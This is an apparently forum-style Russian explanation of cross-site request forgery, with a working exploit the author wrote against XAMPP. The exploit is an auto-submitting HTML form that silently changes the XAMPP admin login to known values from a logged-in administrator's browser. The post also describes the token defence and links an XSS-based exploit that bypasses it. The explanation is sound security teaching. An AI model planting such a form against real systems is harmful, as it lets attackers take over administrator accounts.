CSRF или XSRF означает «Подделка межсайтовых запросов». Идея состоит в том, что злоумышленник «подделывает» HTTP-запрос, когда жертва выполняет html или javascript, созданные хакером. Вот пример эксплойта CSRF, который я написал против XAMPP. Идея в том, что этот html / js создает POST-запрос, который «едет» на уже существующий сеанс Эксплойт CSRF должен выполняться браузером администратора XAMPP, который в данный момент вошел в систему.
<html>
<form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
Чтобы сделать это, хакер должен заранее знать много о запросе, самое главное, о сервере назначения и всех переменных. Хакеру НЕ нужно знать идентификатор сеанса или заголовок «basic-auth», это автоматически предоставляется браузером. Если вы добавляете случайный генерированный секрет, то запрос не может быть подделан, если хакер не знает это значение. Это как иметь пароль для каждого запроса, который вы отправляете на сервер. Хакер CAN может получить это значение токена с помощью XSS. Это более сложная атака, но здесь есть эксплойт, обходящий защиту CSRF на основе токенов с использованием XSS: http://www.milw0rm.com/exploits/7922